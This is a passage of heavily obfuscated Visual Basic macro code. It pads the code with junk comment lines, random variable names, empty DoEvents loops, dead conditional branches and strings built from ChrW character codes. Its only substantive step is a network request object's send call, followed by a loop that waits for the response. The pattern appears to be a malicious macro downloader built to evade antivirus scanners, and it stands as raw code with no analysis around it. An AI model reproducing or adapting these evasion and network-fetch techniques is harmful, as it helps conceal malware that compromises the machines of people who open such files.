  707. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  708. If Len(ChrW(115) & ChrW(98) & ChrW(106) & ChrW(122) & ChrW(104) & ChrW(111) & ChrW(111) & ChrW(108) & ChrW(55) & ChrW(55) & ChrW(49) & ChrW(52)) = Len(ChrW(102) & ChrW(122) & ChrW(109) & ChrW(103) & ChrW(98) & ChrW(117) & ChrW(111) & ChrW(110)) Then
  709. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  710.  
  711. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  712. Dim twefhtor As Integer
  713. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  714. Dim rlvdlbhw As Integer
  715. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  716. For rlvdlbhw = 0 To 2
  717. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  718. DoEvents
  719. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  720. Next rlvdlbhw
  721. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  722. twefhtor = 8
  723. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  724. Do While twefhtor < 81
  725. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  726. Dim ojcknjpw As Integer
  727. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  728. For ojcknjpw = 0 To 7
  729. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  730. DoEvents
  731. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  732. Next ojcknjpw
  733. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  734. DoEvents: twefhtor = twefhtor + 1
  735. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  736. Dim vzxwhnwo As Integer
  737. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  738. For vzxwhnwo = 0 To 6
  739. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  740. DoEvents
  741. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  742. Next vzxwhnwo
  743. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  744. Loop
  745. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  746.  
  747. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  748. Dim grdytmnz As Integer
  749. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  750. For grdytmnz = 0 To 9
  751. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  752. DoEvents
  753. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  754. Next grdytmnz
  755. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  756.       MsgBox (ChrW(101) & ChrW(114) & ChrW(114) & ChrW(111) & ChrW(114) & ChrW(32) & ChrW(33) & ChrW(33) & ChrW(33))
  757. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  758. End If
  759. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  760.  
  761. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  762. Dim hpbedlne As Integer
  763. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  764. Dim dmksinup As Integer
  765. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  766. For dmksinup = 0 To 4
  767. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  768. DoEvents
  769. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  770. Next dmksinup
  771. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  772. hpbedlne = 1
  773. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  774. Do While hpbedlne < 18
  775. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  776. Dim jkhjgkeq As Integer
  777. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  778. For jkhjgkeq = 0 To 3
  779. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  780. DoEvents
  781. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  782. Next jkhjgkeq
  783. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  784. DoEvents: hpbedlne = hpbedlne + 1
  785. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  786. Dim rlelggdb As Integer
  787. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  788. For rlelggdb = 0 To 4
  789. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  790. DoEvents
  791. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  792. Next rlelggdb
  793. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  794. Loop
  795. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  796.  
  797. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  798. Dim xqpgnlts As Integer
  799. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  800. For xqpgnlts = 0 To 3
  801. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  802. DoEvents
  803. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  804. Next xqpgnlts
  805. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  806.    kderacuvhjh.send ChrW(70) & ChrW(68) & ChrW(71) & ChrW(68) & ChrW(70) & ChrW(72)
  807. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  808.  
  809. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  810.  
  811. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  812.    Do While kderacuvhjh.readystate <> 4
  813. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  814. If 424467 = 424467 + 1 Then End
  815. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  816. If 1982 < 37 Then
  817. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  818.  
  819. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  820. Dim bnjpgkwv As Integer
  821. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  822. Dim nwxablrl As Integer
  823. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  824. For nwxablrl = 0 To 3
  825. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  826. DoEvents
  827. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  828. Next nwxablrl
  829. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  830. bnjpgkwv = 5
  831. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  832. Do While bnjpgkwv < 37
  833. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  834. Dim zitgkwss As Integer
  835. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  836. For zitgkwss = 0 To 4
  837. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  838. DoEvents
  839. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  840. Next zitgkwss
  841. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  842. DoEvents: bnjpgkwv = bnjpgkwv + 1
  843. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  844. Dim tgfuqhlq As Integer
  845. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  846. For tgfuqhlq = 0 To 3
  847. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  848. DoEvents
  849. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  850. Next tgfuqhlq
  851. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  852. Loop
  853. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  854.  
  855. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  856. Dim wndskseu As Integer
  857. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  858. For wndskseu = 0 To 4
  859. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  860. DoEvents
  861. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  862. Next wndskseu
  863. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  864.        MsgBox (ChrW(109) & ChrW(108) & ChrW(104) & ChrW(107) & ChrW(120) & ChrW(99) & ChrW(104) & ChrW(120) & ChrW(49) & ChrW(57))
  865. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  866. End If
  867. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  868. If Len(ChrW(109) & ChrW(98) & ChrW(103) & ChrW(111) & ChrW(106) & ChrW(99) & ChrW(110) & ChrW(119) & ChrW(52) & ChrW(50) & ChrW(53) & ChrW(53)) = Len(ChrW(101) & ChrW(102) & ChrW(120) & ChrW(114) & ChrW(100) & ChrW(103) & ChrW(113) & ChrW(109)) Then
  869. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  870.  
  871. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  872. Dim pfxdaysr As Integer
  873. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  874. Dim kjhcajel As Integer
  875. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  876. For kjhcajel = 0 To 4
  877. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  878. DoEvents
  879. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  880. Next kjhcajel
  881. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  882. pfxdaysr = 5
  883. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  884. Do While pfxdaysr < 16
  885. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  886. Dim ldpxpbec As Integer
  887. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  888. For ldpxpbec = 0 To 9
  889. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  890. DoEvents
  891. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  892. Next ldpxpbec
  893. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  894. DoEvents: pfxdaysr = pfxdaysr + 1
  895. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  896. Dim uokllplf As Integer
  897. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  898. For uokllplf = 0 To 3
  899. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  900. DoEvents
  901. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  902. Next uokllplf
  903. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  904. Loop
  905. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  906.  
  907. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  908. Dim cqysonpc As Integer
  909. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  910. For cqysonpc = 0 To 6
  911. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  912. DoEvents
  913. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  914. Next cqysonpc
  915. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  916.       MsgBox (ChrW(101) & ChrW(114) & ChrW(114) & ChrW(111) & ChrW(114) & ChrW(32) & ChrW(33) & ChrW(33) & ChrW(33))
  917. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  918. End If
  919. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  920.  
  921. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  922. Dim oczjzyah As Integer
  923. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  924. Dim dlclshdl As Integer
  925. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  926. For dlclshdl = 0 To 9
  927. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  928. DoEvents
  929. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  930. Next dlclshdl
  931. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  932. oczjzyah = 2
  933. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  934. Do While oczjzyah < 68
  935. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  936. Dim gsnljprn As Integer
  937. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  938. For gsnljprn = 0 To 7
  939. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  940. DoEvents
  941. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  942. Next gsnljprn
  943. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  944. DoEvents: oczjzyah = oczjzyah + 1
  945. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  946. Dim euihbwlh As Integer
  947. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  948. For euihbwlh = 0 To 8
  949. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  950. DoEvents
  951. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  952. Next euihbwlh
  953. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  954. Loop
  955. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  956.  
  957. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  958. Dim tllmhagk As Integer
  959. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  960. For tllmhagk = 0 To 9
  961. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  962. DoEvents
  963. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  964. Next tllmhagk
  965. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  966.    DoEvents
  967. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  968.  
  969. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  970. If 461634 = 461634 + 1 Then End
  971. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  972. If 4523 < 91 Then
  973. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  974.  
  975. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  976. Dim heybmzjg As Integer
  977. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  978. Dim icfsixsc As Integer
  979. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  980. For icfsixsc = 0 To 5
  981. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  982. DoEvents
  983. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  984. Next icfsixsc
  985. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  986. heybmzjg = 8
  987. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  988. Do While heybmzjg < 29
  989. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  990. Dim izjrpykr As Integer
  991. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  992. For izjrpykr = 0 To 5
  993. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  994. DoEvents
  995. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  996. Next izjrpykr
  997. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  998. DoEvents: heybmzjg = heybmzjg + 1
  999. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1000. Dim olujwery As Integer
  1001. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1002. For olujwery = 0 To 8
  1003. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1004. DoEvents
  1005. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1006. Next olujwery
  1007. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1008. Loop
  1009. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1010.  
  1011. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1012. Dim ibykvoxe As Integer
  1013. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1014. For ibykvoxe = 0 To 8
  1015. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1016. DoEvents
  1017. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1018. Next ibykvoxe
  1019. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1020.        MsgBox (ChrW(102) & ChrW(117) & ChrW(119) & ChrW(119) & ChrW(114) & ChrW(122) & ChrW(114) & ChrW(97) & ChrW(53) & ChrW(51))
  1021. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1022. End If
  1023. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1024. If Len(ChrW(113) & ChrW(122) & ChrW(97) & ChrW(115) & ChrW(108) & ChrW(114) & ChrW(121) & ChrW(122) & ChrW(55) & ChrW(55) & ChrW(56) & ChrW(54)) = Len(ChrW(102) & ChrW(116) & ChrW(114) & ChrW(118) & ChrW(122) & ChrW(122) & ChrW(116) & ChrW(111)) Then
  1025. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1026.  
  1027. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1028. Dim bnmwvlsv As Integer
  1029. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1030. Dim pjhexmay As Integer
  1031. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1032. For pjhexmay = 0 To 1
  1033. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1034. DoEvents
  1035. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1036. Next pjhexmay
  1037. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1038. bnmwvlsv = 3
  1039. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1040. Do While bnmwvlsv < 37
  1041. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1042. Dim xkaqahrv As Integer
  1043. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1044. For xkaqahrv = 0 To 9
  1045. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1046. DoEvents
  1047. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1048. Next xkaqahrv
  1049. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1050. DoEvents: bnmwvlsv = bnmwvlsv + 1
  1051. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1052. Dim vikcfsjb As Integer
  1053. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1054. For vikcfsjb = 0 To 6
